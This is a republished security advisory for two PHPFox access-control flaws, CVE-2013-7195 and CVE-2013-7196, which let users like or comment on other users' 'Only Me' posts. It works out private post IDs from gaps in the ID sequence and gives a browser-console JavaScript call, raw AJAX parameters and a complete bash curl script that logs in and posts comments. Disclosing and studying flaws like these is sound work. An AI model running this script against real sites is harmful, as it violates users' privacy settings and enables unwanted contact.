Vulnerability in PHPFox v3.7.3, v3.7.4 and v3.7.5 all build [ CVE-2013-7195, CVE-2013-7196 ]

Type securityvulns
Reporter Securityvulns
Modified 2014-05-05T00:00:00



CNA primary MITRE Corporation ( )

Software Vendors PHPFox ( ) Product ( ) Version: v3.7.3, v3.7.4 and v3.7.5

Research Wesley Henrique Leite ( wesleyhenrique [\\NOSPAM**] gmail \\NOSPAM// com )

[+] INFORMATION Vendor Notified : 2013-12-13 Vendor Homepage :

[+] CVEID CVE-2013-7195 CVE-2013-7196

Released fix 2014-02-26:
        [+] Flag as "like" a publication set to "Only Me"
        Update to version v3.7.5
Released fix 2014-04-03:
        [+] Comment on a publication set to "Only Me"
        Update to version v3.7.6

Description of the problem: [ + ] Flag as "like" a publication set to "Only Me" (v3.7.3 and v3.7.4) [ + ] Comment on a publication set to "Only Me" (v3.7.3, v3.7.4 and v3.7.5)

[ + ] Flag as "like" a publication set to "Only Me" (v3.7.3 and v3.7.4)

Analyzing how the "comment" and "like" are added to a publication, it was possible to manipulate them so that a publication set to "ONLY ME" can receive an external comment or mark this as "like", not even having any relationship with the user. The private publications "Only me" can easily be discovered by analyzing the source of the page, since all receive a unique identifier, to know these identifiers in the source one can easily identify the holes in the sequence.

$Core.Like.Actions.doLike(0, 'user_status', 26, 0, this); $Core.Like.Actions.doLike(0, 'user_status', 28, 0, this); $Core.Like.Actions.doLike(0, 'user_status', 30, 0, this); $Core.Like.Actions.doLike(0, 'user_status', 33, 0, this);

Unique ID Possible Privacy 26------------> public 27------------> removed or private 28------------> public 29------------> removed or private 30------------> public 31------------> removed or private 32------------> removed or private 33------------> public

this logic can be applied to other types of publications such as videos, links and so on.

to exemplify, we will asume that the post with ID 27 is private "ONLY ME", and to mark the publication with ID 27 as "like", just use the code below in your browser console:

javascript console: $Core.Like.Actions.doLike(0, 'user_status', 27, 0, this);

the account will be notified and will appear in the same publication that was marked as "like" of the user who ran the code above.

The above problem can be found in version v3.7.3 and v3.7.4 all build.

[ + ] Comment on a publication set to "Only Me" (v3.7.3, v3.7.4 and v3.7.5)

following the logic above, we can identify possible private publications. We'll get the ID 27 and add a comment, remembering that it is private "Only me".

these are variables of a comment.

&core[ajax]=true&core[call]=comment.add&core[security_token]=686f82ec43f7dcd92784ab36ab5cbfb7 &val[type]=user_status&val[item_id]=27&val[parent_id]=0&val[is_via_feed]=0& val[default_feed_value]=Write%20a%20comment...&val[text]=AQUI!!!!!!!!!!!& core[is_admincp]=0&core[is_user_profile]=1&core[profile_user_id]=290

Variables that can be manipulated.

val[text] -------> Text of comment val[type] -------> user_status, photo, music_song, poll, link, blog val[item_id] -------> Unique ID

to make the process more dynamic the script below was created.

$ curl '' \ 'SET HERE COOKIE AND HEAD INFO FOR YOUR USER ACCOUNT' \ - --data '&core[ajax]=true&core[call]=comment.add&core[security_token]=686f82ec43f7dcd92784ab36ab5cbfb7&val[type]=user_status&val[item_id]=27&val[parent_id]=0&val[is_via_feed]=0&val[default_feed_value]=Write%20a%20comment...&val[text]=AQUI!!!!!!!!!!!&core[is_admincp]=0&core[is_user_profile]=1&core[profile_user_id]=290'

this information can also be manipulated directly in the console.

The above problem can be found in version v3.7.3, v3.7.4 and v3.7.5 all build.



This script was developed for demonstrat development team

phpFox of the problem, can be easily adapted for testing

other applications that use the framework, just by adjusting

the variable "${TARGET}"

Comments are published with the credentials defined on variables


USERPASSWD = "your_password"

even in the absence relationship between users or publication

being set to "Only Me" in the case is the focus of this study,

the review will be added.

Wesley Henrique Leite

wesleyhenrique (A) gmail NOSPAM com

wesley (A) telapreta NOSPAM com NOSPAM br


$ comment_only-me.bash <user_status|photo|music_song|poll|link|blog>

777 'Hello all'



@ = %40 ->

USERACCOUNT="" USERPASSWD="" COOKIE=cookie.txt SECTOKEN="" TYPE="$1" ITEM_ID=$2 MSG="$3" TARGET="" URL_LOGIN="${TARGET}/user/login" URL_AJAX="${TARGET}/static/ajax.php" USER_AGENT="User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.107 Safari/537.36"

USAGE="Type Item_id and MSG is required\n $0 <user_status|photo|music_song|poll|link|blog> 777 'Hello all' "

[ -z "${USERACCOUNT}" -o \ -z "${USERPASSWD}" ] && { echo "Open $0 file and edit USERACCOUNT and USERPASSWD" exit }

[ $# -eq 3 -a \ ! -z "${TYPE}" -a \ ! -z "${ITEM_ID}" -a \ ! -z "${MSG}" ] || { echo -e "${USAGE}" ; exit ; }



SECTOKEN=$(curl -D ${COOKIE} ${TARGET} | grep 'security_token' | grep -Ewo '([a-f0-9A-F]){32}' | sort -u)



curl "${URL_LOGIN}" \ -b "${COOKIE}" \ -H "Origin: ${TARGET}" \ -H 'Accept-Encoding: gzip,deflate,sdch' \ -H 'Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.6,en;q=0.4' \ -H "${USER_AGENT}" \ -H 'Content-Type: application/x-www-form-urlencoded' \ -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8' \ -H 'Cache-Control: max-age=0' \ -H 'Connection: keep-alive' \ -D ${COOKIE} \ --data "core%5Bsecurity_token%5D=${SECTOKEN}&val%5Blogin%5D=${USERACCOUNT}&val%5Bremember_me%5D=&val%5Bpassword%5D=${USERPASSWD}" \ --compressed


curl "${URL_AJAX}" \ -b "${COOKIE}" \ -H "Origin: ${TARGET}" \ -H "${USER_AGENT}" \ -H 'Content-Type: application/x-www-form-urlencoded' \ -H 'Accept: text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, /; q=0.01' \ -H 'X-Requested-With: XMLHttpRequest' \ -H 'Connection: keep-alive' \ --data "&core[ajax]=true&core[call]=comment.add&core[security_token]=${SECTOKEN}&val[type]=${TYPE}&val[item_id]=${ITEM_ID}&val[parent_id]=0&val[is_via_feed]=${ITEM_ID}&val[default_feed_value]=Write%20a%20comment...&val[text]=${MSG}&core[is_admincp]=0&core[is_user_profile]=1&core[profile_user_id]=290" \ --compressed

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